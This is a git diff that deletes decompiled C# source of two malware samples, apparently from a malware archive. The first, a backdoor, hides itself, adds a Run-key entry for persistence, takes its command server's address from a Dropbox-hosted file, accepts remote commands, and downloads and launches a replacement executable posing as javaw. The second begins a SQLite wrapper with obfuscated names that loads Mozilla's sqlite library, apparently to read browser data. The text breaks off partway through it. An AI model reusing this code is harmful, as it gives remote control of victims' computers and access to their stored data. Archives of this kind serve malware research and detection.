a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Backdoor.MSIL.Small.h.csproj b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Backdoor.MSIL.Small.h.csproj deleted file mode 100644 index 8063c2e8..00000000 --- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Backdoor.MSIL.Small.h.csproj +++ /dev/null @@ -1,52 +0,0 @@ - - - - - Debug - AnyCPU - {F267A449-4273-4D93-ABCF-844D17F5FA49} - WinExe - javaw - v4.0 - Client - 1.0.0.0 - 512 - javaw - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Backdoor.MSIL.Small.h.sln b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Backdoor.MSIL.Small.h.sln deleted file mode 100644 index 2e685a00..00000000 --- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Backdoor.MSIL.Small.h.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 11.00 -# Visual Studio 2010 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "javaw", "Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6.csproj", "{F267A449-4273-4D93-ABCF-844D17F5FA49}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {F267A449-4273-4D93-ABCF-844D17F5FA49}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {F267A449-4273-4D93-ABCF-844D17F5FA49}.Debug|Any CPU.Build.0 = Debug|Any CPU - {F267A449-4273-4D93-ABCF-844D17F5FA49}.Release|Any CPU.ActiveCfg = Release|Any CPU - {F267A449-4273-4D93-ABCF-844D17F5FA49}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Form1.cs b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Form1.cs deleted file mode 100644 index 4ba738e8..00000000 --- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Form1.cs +++ /dev/null @@ -1,290 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: javaw.Form1 -// Assembly: javaw, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C2EBC363-26CF-4652-928D-60BDCC82A751 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6.exe - -using Microsoft.Win32; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Net.Sockets; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace javaw -{ - public class Form1 : Form - { - private const int WM_SYSCOMMAND = 274; - private const int SC_MONITORPOWER = 61808; - private const int HWND_BROADCAST = 65535; - private Socket CLIENT; - private Thread CONNECTING; - private IContainer components = (IContainer) null; - - [DllImport("user32.dll")] - private static extern int SendMessage(int hWnd, int hMsg, int wParam, int lParam); - - public Form1() => this.InitializeComponent(); - - private void Form1_Load(object sender, EventArgs e) - { - this.WindowState = FormWindowState.Minimized; - this.Hide(); - try - { - if (e != null) - { - if (e.ToString().Contains("Update")) - { - Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("Javax", (object) Application.ExecutablePath.ToString()); - foreach (Process process in Process.GetProcesses()) - { - try - { - if (process.Modules[0].FileName == e.ToString().Split('|')[1]) - { - process.Kill(); - Thread.Sleep(10000); - if (System.IO.File.Exists(e.ToString().Split('|')[1])) - System.IO.File.Delete(e.ToString().Split('|')[1]); - } - } - catch (Win32Exception ex) - { - } - } - } - else if (e.ToString().Contains("First")) - Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("Javax", (object) Application.ExecutablePath.ToString()); - } - } - catch (Exception ex) - { - int num = (int) MessageBox.Show(ex.ToString()); - } - this.CONNECTING = new Thread(new ThreadStart(this.Connect)); - this.CONNECTING.Start(); - } - - private void Connect() - { - WebClient webClient = new WebClient(); - this.CLIENT = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - while (!this.CLIENT.Connected) - { - try - { - this.CLIENT.Connect(webClient.DownloadString("http://dl.dropbox.com/u/7751171/IP%20Address.txt"), 1234); - Thread.Sleep(10000); - } - catch (Exception ex) - { - int num = (int) MessageBox.Show(ex.ToString()); - } - } - this.ListenForCommands(); - } - - private void ListenForCommands() - { - byte[] numArray1 = new byte[98301]; - try - { - while (true) - { - while (this.CLIENT.Connected) - { - byte[] numArray2 = new byte[98301]; - int length = this.CLIENT.Receive(numArray2, numArray2.Length, SocketFlags.None); - string[] strArray = Encoding.ASCII.GetString(numArray2).Substring(0, length).Split('|'); - string str = strArray[0]; - numArray1 = (byte[]) null; - numArray1 = new byte[98301]; - if (str == "MESSAGEBOX" && strArray.Length > 1) - new Thread(new ParameterizedThreadStart(this.MessageBoxThat)).Start((object) strArray[1]); - if (str == "BEEP" && strArray.Length > 2) - new Thread(new ParameterizedThreadStart(this.WindowsBeep)).Start((object) (strArray[1] + ":" + strArray[2])); - if (str == "MONITOROFF") - Form1.SendMessage((int) ushort.MaxValue, 274, 61808, 2); - if (str == "UPDATE") - { - try - { - long int64 = Convert.ToInt64(strArray[1]); - this.SendCommand("READYTORECIEVE", ""); - long num = 0; - FileStream fileStream = new FileStream(Application.StartupPath + "\\abcdefghijklmnopzzzz.exe", FileMode.Create, FileAccess.Write); - NetworkStream networkStream = new NetworkStream(this.CLIENT); - byte[] buffer = new byte[1]; - int count; - for (; num < int64; num += (long) count) - { - count = networkStream.Read(buffer, 0, buffer.Length); - fileStream.Write(buffer, 0, count); - } - fileStream.Close(); - fileStream.Dispose(); - networkStream.Close(); - networkStream.Dispose(); - this.SendCommand("UPDATESUCCESS", ""); - System.IO.File.SetAttributes(Application.StartupPath + "\\abcdefghijklmnopzzzz.exe", FileAttributes.Hidden); - string path = ""; - if (!System.IO.File.Exists("C:\\Program Files\\Java\\javaw.exe")) - { - path = "C:\\Program Files\\Java\\javaw.exe"; - System.IO.File.Copy(Application.StartupPath + "\\abcdefghijklmnopzzzz.exe", "C:\\Program Files\\Java\\javax.exe"); - } - else if (!System.IO.File.Exists("C:\\Program Files\\Java\\javas.exe")) - { - path = "C:\\Program Files\\Java\\javas.exe"; - System.IO.File.Copy(Application.StartupPath + "\\abcdefghijklmnopzzzz.exe", "C:\\Program Files\\Java\\javaz.exe"); - } - else - this.SendCommand("COPYINGFAILED", ""); - try - { - if (System.IO.File.Exists(path)) - { - this.CLIENT.Disconnect(false); - new Process() - { - StartInfo = { - FileName = "", - Arguments = ("Update|" + Application.ExecutablePath) - } - }.Start(); - } - else - this.SendCommand("UPDATEFAILEDSTART", "Could not find file"); - } - catch (Exception ex) - { - this.SendCommand("UPDATEFAILEDSTART", ex.ToString()); - } - } - catch (Exception ex) - { - this.SendCommand("FAILEDUPDATE", ex.ToString()); - } - } - } - this.Connect(); - } - } - catch (Exception ex) - { - int num = (int) MessageBox.Show(ex.ToString()); - } - } - - private void MessageBoxThat(object Text) - { - try - { - int num = (int) MessageBox.Show(Text.ToString()); - Thread.Sleep(500); - } - catch (Exception ex) - { - int num = (int) MessageBox.Show(ex.ToString()); - } - } - - private void WindowsBeep(object Noise) - { - try - { - string[] strArray = Noise.ToString().Split(':'); - Console.Beep(Convert.ToInt32(strArray[0]), Convert.ToInt32(strArray[1])); - } - catch (Exception ex) - { - int num = (int) MessageBox.Show(ex.ToString()); - } - } - - private void Form1_FormClosing(object sender, FormClosingEventArgs e) - { - try - { - if (this.CLIENT.Connected) - { - this.CLIENT.Disconnect(false); - this.CLIENT.Close(); - this.CLIENT.Dispose(); - } - else - { - this.CLIENT.Close(); - this.CLIENT.Dispose(); - } - } - catch (Exception ex) - { - int num = (int) MessageBox.Show(ex.ToString()); - } - } - - private void SendCommand(string Command, string Parameters) - { - try - { - if (this.CLIENT != null) - { - if (this.CLIENT.Connected) - { - try - { - byte[] bytes = Encoding.ASCII.GetBytes(Parameters.Length <= 0 ? Command : Command + "|" + Parameters); - this.CLIENT.Send(bytes, bytes.Length, SocketFlags.None); - } - catch (Exception ex) - { - int num = (int) MessageBox.Show(ex.ToString()); - } - } - else - { - int num1 = (int) MessageBox.Show("Couldn't send command, not connected to Client"); - } - } - else - { - int num2 = (int) MessageBox.Show("Couldn't send command, not connected to Client"); - } - } - catch (Exception ex) - { - int num = (int) MessageBox.Show(ex.ToString()); - } - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(116, 0); - this.Name = nameof (Form1); - this.Text = "javaw"; - this.WindowState = FormWindowState.Minimized; - this.FormClosing += new FormClosingEventHandler(this.Form1_FormClosing); - this.Load += new EventHandler(this.Form1_Load); - this.ResumeLayout(false); - } - } -} diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Form1.resx b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Program.cs b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Program.cs deleted file mode 100644 index a9074ee6..00000000 --- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Program.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: javaw.Program -// Assembly: javaw, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C2EBC363-26CF-4652-928D-60BDCC82A751 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6.exe - -using System; -using System.Windows.Forms; - -namespace javaw -{ - internal static class Program - { - [STAThread] - private static void Main() - { - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.Run((Form) new Form1()); - } - } -} diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Resources.cs b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Resources.cs deleted file mode 100644 index e78b97df..00000000 --- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: javaw.Properties.Resources -// Assembly: javaw, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C2EBC363-26CF-4652-928D-60BDCC82A751 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace javaw.Properties -{ - [DebuggerNonUserCode] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] - [CompilerGenerated] - internal class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - internal Resources() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (javaw.Properties.Resources.resourceMan == null) - javaw.Properties.Resources.resourceMan = new ResourceManager("javaw.Properties.Resources", typeof (javaw.Properties.Resources).Assembly); - return javaw.Properties.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => javaw.Properties.Resources.resourceCulture; - set => javaw.Properties.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Resources.resx b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Settings.cs b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Settings.cs deleted file mode 100644 index f497c242..00000000 --- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Settings.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: javaw.Properties.Settings -// Assembly: javaw, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C2EBC363-26CF-4652-928D-60BDCC82A751 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6.exe - -using System.CodeDom.Compiler; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace javaw.Properties -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] - [CompilerGenerated] - internal sealed class Settings : ApplicationSettingsBase - { - private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); - - public static Settings Default - { - get - { - Settings defaultInstance = Settings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Backdoor.MSIL.Ubot.b.csproj b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Backdoor.MSIL.Ubot.b.csproj deleted file mode 100644 index 5ff49121..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Backdoor.MSIL.Ubot.b.csproj +++ /dev/null @@ -1,49 +0,0 @@ - - - - - Debug - AnyCPU - {924135AD-82F8-4279-861F-D5B47C5B5E1A} - WinExe - Server - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Backdoor.MSIL.Ubot.b.sln b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Backdoor.MSIL.Ubot.b.sln deleted file mode 100644 index 156312da..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Backdoor.MSIL.Ubot.b.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166.csproj", "{924135AD-82F8-4279-861F-D5B47C5B5E1A}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {924135AD-82F8-4279-861F-D5B47C5B5E1A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {924135AD-82F8-4279-861F-D5B47C5B5E1A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {924135AD-82F8-4279-861F-D5B47C5B5E1A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {924135AD-82F8-4279-861F-D5B47C5B5E1A}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Base.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Base.cs deleted file mode 100644 index fc45c45f..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Base.cs +++ /dev/null @@ -1,277 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Base -// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5F9554D6-83E0-47C2-9D3F-094C1F4E42EE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Data; -using System.Runtime.InteropServices; -using System.Text; - -public class Base -{ - private const int SQL_OK = 0; - private const int SQL_ROW = 100; - private const int SQL_DONE = 101; - private IntPtr database; - - [DllImport("kernel32")] - private static extern IntPtr HeapAlloc( - IntPtr heap, - uint flags, - uint lmwXcoftBrueIDsqQpslhlanGoQRna); - - [DllImport("kernel32")] - private static extern IntPtr GetProcessHeap(); - - [DllImport("kernel32")] - private static extern int lstrlen(IntPtr str); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_open(IntPtr fileName, ref IntPtr database); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_close(IntPtr database); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_exec( - IntPtr database, - IntPtr xvqbvqxDUuohuGMtksLnbutqZxjuhJ, - IntPtr callback, - IntPtr arguments, - ref IntPtr error); - - [DllImport("mozsqlite3")] - private static extern IntPtr sqlite3_errmsg(IntPtr database); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_prepare_v2( - IntPtr database, - IntPtr xvqbvqxDUuohuGMtksLnbutqZxjuhJ, - int CRjhCmhdjogGzsGrXfvexzMGfClkug, - ref IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - ref IntPtr tail); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_step(IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_column_count(IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD); - - [DllImport("mozsqlite3")] - private static extern IntPtr sqlite3_column_name( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - int columnNumber); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_column_type( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - int columnNumber); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_column_int( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - int columnNumber); - - [DllImport("mozsqlite3")] - private static extern double sqlite3_column_double( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - int columnNumber); - - [DllImport("mozsqlite3")] - private static extern IntPtr sqlite3_column_text( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - int columnNumber); - - [DllImport("mozsqlite3")] - private static extern IntPtr sqlite3_column_blob( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - int columnNumber); - - [DllImport("mozsqlite3")] - private static extern IntPtr sqlite3_column_table_name( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - int columnNumber); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_finalize(IntPtr handle); - - public Base() => this.database = IntPtr.Zero; - - public Base(string baseName) => this.OpenDatabase(baseName); - - public void OpenDatabase(string baseName) - { - if (Base.sqlite3_open(this.StringToPointer(baseName), ref this.database) == 0) - return; - this.database = IntPtr.Zero; - } - - public void CloseDatabase() - { - if (!(this.database != IntPtr.Zero)) - return; - Base.sqlite3_close(this.database); - } - - public ArrayList GetTables() - { - DataTable dataTable = this.ExecuteQuery("SELECT name FROM sqlite_master WHERE type IN ("); - ArrayList tables = new ArrayList(); - try - { - foreach (DataRow row in dataTable.Rows) - tables.Add((object) row.ItemArray[0].ToString()); - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - return tables; - } - - public void ExecuteNonQuery(string xvqbvqxDUuohuGMtksLnbutqZxjuhJ) - { - try - { - IntPtr error; - Base.sqlite3_exec(this.database, this.StringToPointer(xvqbvqxDUuohuGMtksLnbutqZxjuhJ), IntPtr.Zero, IntPtr.Zero, ref error); - int num = error != IntPtr.Zero ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public DataTable ExecuteQuery(string xvqbvqxDUuohuGMtksLnbutqZxjuhJ) - { - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD; - IntPtr tail; - Base.sqlite3_prepare_v2(this.database, this.StringToPointer(xvqbvqxDUuohuGMtksLnbutqZxjuhJ), this.GetPointerLenght(this.StringToPointer(xvqbvqxDUuohuGMtksLnbutqZxjuhJ)), ref ugsomsbismrdBPQhqtxSimmmoadhWD, ref tail); - DataTable WCelvwBgEsajtdaulPPorkGkYgfnpq = new DataTable(); - int num = this.ReadFirstRow(ugsomsbismrdBPQhqtxSimmmoadhWD, ref WCelvwBgEsajtdaulPPorkGkYgfnpq); - while (num == 100) - num = this.ReadNextRow(ugsomsbismrdBPQhqtxSimmmoadhWD, ref WCelvwBgEsajtdaulPPorkGkYgfnpq); - Base.sqlite3_finalize(ugsomsbismrdBPQhqtxSimmmoadhWD); - return WCelvwBgEsajtdaulPPorkGkYgfnpq; - } - - private int ReadFirstRow( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - ref DataTable WCelvwBgEsajtdaulPPorkGkYgfnpq) - { - WCelvwBgEsajtdaulPPorkGkYgfnpq = new DataTable("resultTable"); - if (Base.sqlite3_step(ugsomsbismrdBPQhqtxSimmmoadhWD) == 100) - { - int num1 = Base.sqlite3_column_count(ugsomsbismrdBPQhqtxSimmmoadhWD); - object[] objArray = new object[checked (num1 - 1 + 1)]; - int num2 = checked (num1 - 1); - int columnNumber = 0; - while (columnNumber <= num2) - { - string columnName = this.PointerToString(Base.sqlite3_column_name(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber)); - switch (Base.sqlite3_column_type(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber)) - { - case 1: - WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.Int32")); - objArray[columnNumber] = (object) Base.sqlite3_column_int(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber); - break; - case 2: - WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.Single")); - objArray[columnNumber] = (object) Base.sqlite3_column_double(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber); - break; - case 3: - WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.String")); - objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_text(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber)); - break; - case 4: - WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.String")); - objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_blob(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber)); - break; - default: - WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.String")); - objArray[columnNumber] = (object) ""; - break; - } - checked { ++columnNumber; } - } - WCelvwBgEsajtdaulPPorkGkYgfnpq.Rows.Add(objArray); - } - return Base.sqlite3_step(ugsomsbismrdBPQhqtxSimmmoadhWD); - } - - private int ReadNextRow( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - ref DataTable WCelvwBgEsajtdaulPPorkGkYgfnpq) - { - int num1 = Base.sqlite3_column_count(ugsomsbismrdBPQhqtxSimmmoadhWD); - object[] objArray = new object[checked (num1 - 1 + 1)]; - int num2 = checked (num1 - 1); - int columnNumber = 0; - while (columnNumber <= num2) - { - switch (Base.sqlite3_column_type(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber)) - { - case 1: - objArray[columnNumber] = (object) Base.sqlite3_column_int(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber); - break; - case 2: - objArray[columnNumber] = (object) Base.sqlite3_column_double(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber); - break; - case 3: - objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_text(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber)); - break; - case 4: - 